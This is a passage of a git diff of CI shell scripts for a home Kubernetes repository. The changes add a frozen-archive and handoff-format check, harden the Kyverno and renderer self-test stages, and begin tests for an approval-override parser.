+  if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
+    err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
+    err "  (scaffold mode -- run.sh could not reach a cluster and exited 0)."
+    err "  This stage will NOT report that as a pass. Either the cluster is unreachable from"
+    err "  this runner, or CLUSTER_AVAILABLE is set when it should not be."
+    err "  NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
+    err "  docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
+    err "  by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
+    err "  runner has no credential for (automountServiceAccountToken: false, by design)."
+    summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
+    exit 1
+  fi
+  log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
+fi
+
 ok "L2/L3 conformance passed for touched subset"
 summary "- conformance-l2-l3: **passed**"

ci/decisions-log.sh

@@ -0,0 +1,195 @@
+#!/usr/bin/env bash
+# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
+#
+# WHY THIS STAGE EXISTS
+# ---------------------
+# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
+# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
+# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
+# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
+# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
+#
+#   #22 fix/crafty-oauth2-proxy-signin       CONFLICT (content): DECISIONS-LOG.md
+#   #20 feat/conformance-job-template        CONFLICT (content): DECISIONS-LOG.md
+#   #19 feat/conformance-trigger-kubeconfig  CONFLICT (content): DECISIONS-LOG.md
+#   #18 feat/conformance-runner-image        CONFLICT (content): DECISIONS-LOG.md
+#   #17 feat/ci-is-the-approver              clean — it wrote no handoff entry
+#
+# Nothing was wrong with any of those changes. The log's storage format serialised work that
+# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
+# rebases, each invalidating the gate run before it).
+#
+# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
+# disjoint paths and there is nothing to merge. See decisions/README.md.
+#
+# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
+# --------------------------------------------
+# The old habit is written into this repo in many places — the runbooks, the muscle memory of
+# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
+# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
+# that quietly re-creates the conflict for every other open branch, and the damage is only
+# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
+# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
+# it gets a guard rather than a paragraph.
+#
+# WHAT IS ASSERTED
+#   (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
+#       Re-pinning is a deliberate, reviewable line in a diff; appending is not.
+#   (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
+#       directory sorts chronologically and two agents cannot collide on a filename.
+#   (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
+#       filename — a disagreement means a copied template nobody edited.
+#   (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
+#       "What changed", "What I verified", "What I did NOT verify". This is the quality floor
+#       that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
+#       this repo's recurring failure is a confident report of something nobody measured, and an
+#       entry with nowhere to write "UNVERIFIED" does not get one written.
+#
+# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
+# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
+# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
+# add a fail-open surface to a guard whose whole job is to close one.
+set -uo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+set +e   # aggregate every problem in one run; do not stop at the first.
+
+cd "$REPO_ROOT"
+
+ARCHIVE="DECISIONS-LOG.md"
+PIN="decisions/ARCHIVE.sha256"
+rc=0
+
+# ---- (1) the archive is frozen ----------------------------------------------
+log "Stage: decisions log (archive frozen + entries well-formed)"
+
+if [ ! -f "$ARCHIVE" ]; then
+  err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
+  summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
+  rc=1
+elif [ ! -f "$PIN" ]; then
+  err "${PIN} is missing, so the archive's integrity cannot be established."
+  err "  If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
+  summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
+  rc=1
+else
+  want="$(awk 'NR==1{print $1}' "$PIN")"
+  got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
+  if [ "$want" != "$got" ]; then
+    err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
+    err "    pinned:  ${want}"
+    err "    on disk: ${got}"
+    err ""
+    err "  Every branch that appends to this file's tail conflicts with every other branch that"
+    err "  does, on the same hunk. That is what made four of five open PRs unmergeable on"
+    err "  2026-09-29, and your commit would re-create it for branches that are not yours."
+    err ""
+    err "  Write your handoff as its OWN FILE instead:"
+    err "    decisions/\$(date +%F)-<your-branch-slug>.md      (see decisions/README.md)"
+    err "  and restore the archive:  git checkout -- ${ARCHIVE}"
+    err ""
+    err "  If the archive genuinely must change (redacting a leaked credential, say), that is a"
+    err "  reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
+    summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
+    rc=1
+  else
+    ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
+  fi
+fi
+
+# ---- (2)(3)(4) every entry is well-formed ------------------------------------
+shopt -s nullglob
+entries=( decisions/[0-9]*.md )
+shopt -u nullglob
+
+# Zero entries is legitimate only until the first handoff lands; after that the glob always
+# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
+# CLAUDE.md, not this stage, is what asks for one.
+if [ "${#entries[@]}" -eq 0 ]; then
+  log "no decisions/ entries yet"
+fi
+
+REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
+
+for f in "${entries[@]}"; do
+  base="${f#decisions/}"
+
+  # (2) filename
+  if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
+    err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
+    err "  Use your branch's last segment as the slug — it is already unique per unit of work."
+    summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
+    rc=1
+    continue
+  fi
+  fname_date="${BASH_REMATCH[1]}"
+
+  if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
+    err "${f}: '${fname_date}' is not a real calendar date."
+    summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
+    rc=1
+    continue
+  fi
+
+  # (3) frontmatter
+  if [ "$(head -1 "$f")" != "---" ]; then
+    err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
+    err "  See decisions/README.md for the template."
+    summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
+    rc=1
+    continue
+  fi
+  fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
+  missing_keys=()
+  for k in date branch title; do
+    grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
+  done
+  if [ "${#missing_keys[@]}" -gt 0 ]; then
+    err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
+    summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
+    rc=1
+    continue
+  fi
+  fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
+  if [ "$fm_date" != "$fname_date" ]; then
+    err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
+    err "  One of them was copied from a template and not edited; the log's ordering depends on both."
+    summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
+    rc=1
+    continue
+  fi
+
+  # (4) the three required sections, each with a real body
+  body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
+  [ -n "$body_start" ] || body_start=1
+  for want_sec in "${REQUIRED_SECTIONS[@]}"; do
+    hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
+    if [ -z "$hdr_line" ]; then
+      err "${f}: missing the required section '## ${want_sec}'."
+      err "  CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
+      err "  All three are structure here, because the third is the one that gets dropped."
+      summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
+      rc=1
+      continue
+    fi
+    # A real body: at least 20 non-blank, non-heading characters before the next '## '.
+    nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
+             | tr -d '[:space:]' | wc -c)"
+    if [ "$nchars" -lt 20 ]; then
+      err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
+      err "  If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
+      err "  is a valid and useful entry. A blank section is not."
+      summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
+      rc=1
+    fi
+  done
+done
+
+if [ "$rc" -eq 0 ]; then
+  ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
+  summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
+else
+  err "decisions log stage FAILED"
+fi
+exit "$rc"

ci/gate.sh

@@ -108,10 +108,12 @@ summary "## Merge gate (R-TEST-03)"
 summary ""
 
 run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
+run_stage decisions-log "${CI_DIR}/decisions-log.sh"
 run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage approval-policy "${CI_DIR}/approval-policy.sh"
 run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
@@ -189,6 +191,20 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
+# is the approver, per operator intent. This stage is the single exception: a change to the
+# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
+# cannot honestly be approved BY the thing it changes, so those paths still need a human.
+#
+# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
+# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
+# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
+case "${OUTCOME[approval-policy]}" in
+  fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
+  skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
+  pass) ok  "approval-policy: green" ;;
+esac
+
 # gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
 # runner registration). A FAIL is real drift and always blocks -- that is the whole point.
 # A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
@@ -214,6 +230,22 @@ case "${OUTCOME[gitea-settings]}" in
   pass) ok "gitea-settings: green" ;;
 esac
 
+# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
+# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
+# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
+# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
+# the tree under test and needs no tool or cluster, so there is no environment in which it
+# "could not run". A guard against a silent, delayed, misattributed regression must not itself
+# have a way to not-run.
+case "${OUTCOME[decisions-log]}" in
+  fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
+  skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
+        err "  as a defect in the stage itself and block."
+        summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
+        BLOCK=1 ;;
+  pass) ok  "decisions-log: green" ;;
+esac
+
 # L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
 # unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
 # degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a

ci/gitea-settings.sh

@@ -42,9 +42,16 @@
 #      skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
 #      that an unwired credential cannot lock the repository.
 #
-# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
+# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
 # settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
 # the drift it exists to catch is still undetected.
+#
+# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
+# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
+# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
+# detector sat inert for hours while a token existed and no secret did. The env var below still
+# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
+# the secret that would feed it cannot be created at all.
 set -euo pipefail
 CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
 REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
@@ -56,14 +63,20 @@ log "Stage: Gitea platform settings match the declaration"
 DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
 GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
 GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
-TOKEN="${GITEA_SETTINGS_TOKEN:-}"
+# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
+# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
+# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
+# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
+# it looked like it had worked. A token was minted, no secret existed, and this stage would
+# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
 
 [ -f "$DECL" ] || die "declaration missing: ${DECL}"
 require_tool jq
 require_tool curl
 
 if [ -z "$TOKEN" ]; then
-  skip "GITEA_SETTINGS_TOKEN is not set — cannot read the live Gitea rule."
+  skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
   skip "  Branch protection and runner registration are therefore UNVERIFIED. They were"
   skip "  wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
   summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"

ci/l0.sh

@@ -79,12 +79,37 @@ else
   cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
   find "$l0_render" -type f -name '*.yaml' -print0 \
     | xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
-  if kyverno test "$l0_render"; then
-    ok "Kyverno L0 policy tests passed"
-    summary "- kyverno-l0: **passed**"
+  # DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
+  # error, bad match block, malformed JMESPath) does not fail the run: every result row
+  # becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
+  #
+  # MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
+  # `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
+  # rows came back `Skip / Invalid Policy`, and the summary read:
+  #     Test Summary: 9 tests passed and 0 tests failed
+  # `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
+  # own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
+  #
+  # This is not specific to that policy: a typo in restrict-host-namespaces or
+  # secret-provenance would silently disable it and the gate would stay green. Scan the
+  # output for the load failure the exit code hides.
+  l0_kout="$(mktemp)"
+  if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
+    if grep -q 'Invalid Policy' "$l0_kout"; then
+      err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
+      err "  skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
+      err "  must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
+      grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
+      summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
+      rc=1
+    else
+      ok "Kyverno L0 policy tests passed"
+      summary "- kyverno-l0: **passed**"
+    fi
   else
     err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
   fi
+  rm -f "$l0_kout"
   rm -rf "$l0_render"
 fi
 

ci/render-golden.sh

@@ -1,5 +1,10 @@
 #!/usr/bin/env bash
-# ci/render-golden.sh — Stage: render==golden reproducibility gate.
+# ci/render-golden.sh — Stage: the renderer is trustworthy.
+#   (1) catalog/render.py passes its OWN output-contract self-test, and
+#   (2) every committed apps/ golden reproduces byte-for-byte from the canonical render.
+# Two independent assertions about one subject, catalog/render.py. (1) was added
+# 2026-10-01 because nothing in ci/ or .gitea/ had ever invoked `--selftest`; see the
+# block above the invocation for why it lives here and not in a conformance check.
 #
 # WHY: the committed apps/ tree is a set of GOLDENS produced by ONE canonical
 # invocation of catalog/render.py. If a golden is hand-edited, or a catalog
@@ -54,6 +59,54 @@ if [ ! -f "$RENDER_PY" ]; then
   summary "- render-golden: **SKIPPED** (renderer missing)"
   exit 3
 fi
+# --- The renderer's OWN self-test, before anything is compared ---------------
+# `catalog/render.py --selftest` is ~106 executed assertions on the renderer's output
+# contract (default-deny covers both directions, the Kyverno namespace hook label, a valid
+# auth-mode, the oauth2-proxy sidecar's cookie-name/-domain/-refresh flags, the
+# placeholder-substitution guard, the observability refusals...). Until now NOTHING in ci/
+# or .gitea/ invoked it — measured by grep on 2026-09-30 and recorded as the top follow-up
+# of decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md — so every one of those
+# assertions was dev-time only and a merge gate could not tell a sound renderer from a
+# gutted one.
+#
+# WHY HERE, AND NOT IN A CONFORMANCE CHECK. The lead was
+# conformance/tests/l0-static/auditability-proofs-producible/check.sh, which drives
+# `conformance/lib/{record_run,status}.py --selftest` "because nothing else drives them".
+# That loop is NOT the right hook: that check serves R-SEC-03 and its subject is the
+# EVIDENCE CHAIN (can a forged or stale run become a proof?). The renderer is not part of
+# that chain, and hanging it there would make the check's name and its requirement mapping
+# a lie. This stage's subject already IS catalog/render.py — it exists to assert that the
+# renderer's output is trustworthy — so the renderer's own contract test belongs in it.
+#
+# It runs BEFORE the catalog/empty-catalog exit-3 below on purpose: the self-test is
+# deterministic and catalog-independent (it renders synthetic ServiceDefinitions in
+# memory), so an empty catalog must not be able to skip it.
+#
+# render-golden and the self-test are INDEPENDENT assertions, which is why both are needed:
+# render-golden catches golden-vs-renderer drift but is satisfied by ANY renderer whose
+# output was re-rendered, including one that just lost a contract invariant and had all ten
+# goldens regenerated in the same commit. The self-test catches exactly that.
+#
+# FAILURE IS A HARD FAIL, NOT A SKIP: the renderer is source in this repo, so "could not
+# run its self-test" has no legitimate environmental cause once python3 and render.py are
+# both present (both asserted above). ci/gate.sh maps this stage's rc 1 to BLOCKED.
+log "Stage: catalog/render.py --selftest (the renderer's own output-contract assertions)"
+selftest_out="$(mktemp)"
+if "$PYTHON" "$RENDER_PY" --selftest >"$selftest_out" 2>&1; then
+  ok "render.py --selftest passed"
+  summary "- render-selftest: **passed** (\`catalog/render.py --selftest\`)"
+else
+  err "catalog/render.py --selftest FAILED — the renderer violates its own output contract."
+  err "  Every golden under apps/ is produced by this renderer, so the goldens below cannot"
+  err "  be trusted even if they reproduce byte-for-byte. Reproduce with:"
+  err "    ${PYTHON} catalog/render.py --selftest"
+  sed 's/^/    /' "$selftest_out" >&2 || true
+  summary "- render-selftest: **FAILED** (\`catalog/render.py --selftest\` — renderer contract violated)"
+  rm -f "$selftest_out"
+  exit 1
+fi
+rm -f "$selftest_out"
+
 if [ ! -d "$CATALOG_DIR" ] || ! compgen -G "${CATALOG_DIR}/*.yaml" >/dev/null 2>&1; then
   skip "no catalog ServiceDefinitions under '${CATALOG_DIR}' — nothing to render."
   summary "- render-golden: **SKIPPED** (empty catalog)"

ci/tests/approval-override.test.sh

@@ -0,0 +1,232 @@
+#!/usr/bin/env bash
+# ci/tests/approval-override.test.sh — proves ci/approval-override.py selects the override it
+# claims to select, and REJECTS the ones it claims to reject.
+#
+# This parser decides whether a human review requirement gets waived. Every rule in it exists
+# because the obvious implementation ("does the body contain the directive?") is wrong in a way
+# that is invisible until abused: a quoted directive would re-arm an override, a bare directive
+# would waive review with no stated reason, and an override posted against commit A would go on
+# covering commit B forever. A guard is worth nothing until somebody has watched it refuse, which
+# is the same reasoning as ci/tests/decisions-log.test.sh one layer up.
+#
+# The parser is pure and offline BY DESIGN — authorisation (the live permission lookup) lives in
+# ci/approval-policy.sh, which cannot be tested without Gitea. That split is what makes this file
+# possible, and it is also why a green run here does NOT prove the stage authorises correctly.
+set -uo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+SUT="${CI_DIR}/approval-override.py"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+HEAD_TIME="2026-10-01T12:00:00Z"
+AFTER="2026-10-01T12:30:00Z"
+BEFORE="2026-10-01T11:30:00Z"
+
+# run <comments-json> -> stdout of the parser (stderr is diagnostic only)
+run() {
+  COMMENTS_JSON="$1" REVIEWS_JSON="" HEAD_TIME="${2:-$HEAD_TIME}" DIRECTIVE="${3:-/approve-override}" \
+    python3 "$SUT" 2>/dev/null
+}
+
+# run_rev <reviews-json> — the same, but through the REVIEWS source.
+run_rev() {
+  COMMENTS_JSON="" REVIEWS_JSON="$1" HEAD_TIME="${2:-$HEAD_TIME}" DIRECTIVE="${3:-/approve-override}" \
+    python3 "$SUT" 2>/dev/null
+}
+
+# comment <login> <created_at> <body>
+comment() {
+  python3 -c '
+import json, sys
+print(json.dumps([{"user": {"login": sys.argv[1]}, "created_at": sys.argv[2], "body": sys.argv[3]}]))
+' "$1" "$2" "$3"
+}
+
+expect_none() {
+  local label="$1" out
+  out="$(run "$2")"
+  if [ -z "$out" ]; then ok "$label"; else bad "$label (got: ${out})"; fi
+}
+
+expect_user() {
+  local label="$1" json="$2" want="$3" out got
+  out="$(run "$json")"
+  got="$(cut -f1 <<<"$out")"
+  if [ "$got" = "$want" ]; then ok "$label"; else bad "$label (wanted ${want}, got '${got}')"; fi
+}
+
+expect_reason() {
+  local label="$1" json="$2" want="$3" out got
+  out="$(run "$json")"
+  got="$(cut -f4- <<<"$out")"
+  if [ "$got" = "$want" ]; then ok "$label"; else bad "$label (wanted '${want}', got '${got}')"; fi
+}
+
+# check <label> <actual> <wanted>
+check() {
+  if [ "$2" = "$3" ]; then ok "$1"; else bad "$1 (wanted '${3}', got '${2}')"; fi
+}
+
+# review <login> <submitted_at> <state> <body>
+review() {
+  python3 -c '
+import json, sys
+print(json.dumps([{"user": {"login": sys.argv[1]}, "submitted_at": sys.argv[2],
+                   "state": sys.argv[3], "body": sys.argv[4]}]))
+' "$1" "$2" "$3" "$4"
+}
+
+echo "== ci/approval-override.py"
+
+# --- the happy path -------------------------------------------------------------------
+expect_user "a directive with a reason, posted after the head commit, is selected" \
+  "$(comment jakman85 "$AFTER" '/approve-override sole admin, gate is green')" jakman85
+
+expect_reason "the reason is returned verbatim" \
+  "$(comment jakman85 "$AFTER" '/approve-override sole admin, gate is green')" \
+  'sole admin, gate is green'
+
+# --- absence is a normal answer, not an error -----------------------------------------
+expect_none "no comments at all" '[]'
+expect_none "an ordinary comment" "$(comment jakman85 "$AFTER" 'looks good to me')"
+
+# --- a reason is MANDATORY ------------------------------------------------------------
+expect_none "a bare directive (no reason) is refused" \
+  "$(comment jakman85 "$AFTER" '/approve-override')"
+expect_none "a directive followed by only whitespace is refused" \
+  "$(comment jakman85 "$AFTER" '/approve-override    ')"
+
+# --- the directive must START a line --------------------------------------------------
+expect_none "the directive mid-sentence does not count" \
+  "$(comment jakman85 "$AFTER" 'you could just /approve-override this one')"
+expect_none "a QUOTED directive does not re-arm an override" \
+  "$(comment jakman85 "$AFTER" '> /approve-override quoting someone else')"
+expect_user "leading whitespace before the directive is fine" \
+  "$(comment jakman85 "$AFTER" '   /approve-override indented but mine')" jakman85
+expect_user "the directive on a later line of a longer comment counts" \
+  "$(comment jakman85 "$AFTER" 'some preamble
+/approve-override the real reason here')" jakman85
+
+# --- staleness: an override must post-date the commit it waives review on -------------
+expect_none "an override OLDER than the head commit is dropped as stale" \
+  "$(comment jakman85 "$BEFORE" '/approve-override stale, predates the push')"
+expect_none "an override exactly AT the head commit time is dropped (strictly newer)" \
+  "$(comment jakman85 "$HEAD_TIME" '/approve-override same instant')"
+
+# --- malformed input is never a free pass --------------------------------------------
+expect_none "an unreadable timestamp drops the candidate" \
+  "$(comment jakman85 'not-a-date' '/approve-override bad clock')"
+expect_none "a comment with no author is dropped" \
+  '[{"user": {}, "created_at": "2026-10-01T12:30:00Z", "body": "/approve-override no login"}]'
+expect_none "invalid JSON yields no override (and never a traceback into stdout)" \
+  'this is not json'
+expect_none "a JSON object instead of a list yields no override" \
+  '{"user": "nope"}'
+
+# --- latest wins ----------------------------------------------------------------------
+TWO='[
+  {"user": {"login": "early"},  "created_at": "2026-10-01T12:10:00Z", "body": "/approve-override first"},
+  {"user": {"login": "latest"}, "created_at": "2026-10-01T12:40:00Z", "body": "/approve-override second"}
+]'
+expect_user "the LATEST override supersedes an earlier one" "$TWO" latest
+expect_reason "and brings its own reason" "$TWO" second
+
+# --- offsets, not just Z --------------------------------------------------------------
+# Gitea emits RFC3339 WITH AN OFFSET (measured: 2026-10-01T23:09:08-05:00), not a trailing Z.
+# A parser that only handles 'Z' silently drops every real override, so this case is load-bearing.
+expect_user "an RFC3339 offset timestamp (-05:00), as Gitea actually emits, parses" \
+  '[{"user": {"login": "jakman85"}, "created_at": "2026-10-01T08:30:00-05:00", "body": "/approve-override offset form"}]' \
+  jakman85
+expect_none "and an offset timestamp that is genuinely earlier is still stale" \
+  '[{"user": {"login": "jakman85"}, "created_at": "2026-10-01T06:00:00-05:00", "body": "/approve-override offset, stale"}]'
+
+# --- the directive is configurable ----------------------------------------------------
+out="$(run "$(comment jakman85 "$AFTER" '/admin-waive because policy says so')" "$HEAD_TIME" '/admin-waive')"
+if [ "$(cut -f1 <<<"$out")" = "jakman85" ]; then
+  ok "a custom directive from the declaration is honoured"
+else
+  bad "a custom directive from the declaration is honoured (got '${out}')"
+fi
+expect_none "the default directive does not match a custom-directive comment" \
+  "$(comment jakman85 "$AFTER" '/admin-waive because policy says so')"
+
+# --- no staleness anchor: do not invent one -------------------------------------------
+out="$(COMMENTS_JSON="$(comment jakman85 "$BEFORE" '/approve-override no anchor')" \
+       HEAD_TIME="" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+if [ "$(cut -f1 <<<"$out")" = "jakman85" ]; then
+  ok "with no HEAD_TIME the staleness test is skipped, not faked (caller blocks instead)"
+else
+  bad "with no HEAD_TIME the candidate should still be returned (got '${out}')"
+fi
+
+# --- the REVIEWS source ---------------------------------------------------------------
+# Load-bearing, not redundant. Measured on PR #38: SETTINGS_API_TOKEN is minted
+# [read:repository, read:admin], /issues/{n}/comments needs the ISSUE scope, so a well-formed
+# override in the comment box came back as an error object and was invisible. /pulls/{n}/reviews
+# IS readable with that token, so a review body is the route that works today.
+check "a review body carries an override" \
+  "$(cut -f1 <<<"$(run_rev "$(review jakman85 "$AFTER" COMMENT '/approve-override via a review')")")" \
+  jakman85
+check "the source is reported as 'review'" \
+  "$(cut -f3 <<<"$(run_rev "$(review jakman85 "$AFTER" COMMENT '/approve-override via a review')")")" \
+  review
+check "the source is reported as 'comment' for a comment" \
+  "$(cut -f3 <<<"$(run "$(comment jakman85 "$AFTER" '/approve-override via a comment')")")" \
+  comment
+
+out="$(run_rev "$(review jakman85 "$BEFORE" COMMENT '/approve-override stale review')")"
+check "a stale review override is dropped too" "${out:-<none>}" "<none>"
+
+out="$(run_rev "$(review jakman85 "$AFTER" PENDING '/approve-override unsubmitted draft')")"
+check "a PENDING (unsubmitted) review is NOT an act of anything" "${out:-<none>}" "<none>"
+
+check "an APPROVED review carrying the directive still counts as an override" \
+  "$(cut -f1 <<<"$(run_rev "$(review jakman85 "$AFTER" APPROVED '/approve-override belt and braces')")")" \
+  jakman85
+
+out="$(run_rev "$(review jakman85 "$AFTER" COMMENT 'ordinary review prose, no directive')")"
+check "an ordinary review body is not an override" "${out:-<none>}" "<none>"
+
+# --- an unreadable source degrades to 'no candidates', never to a pass ----------------
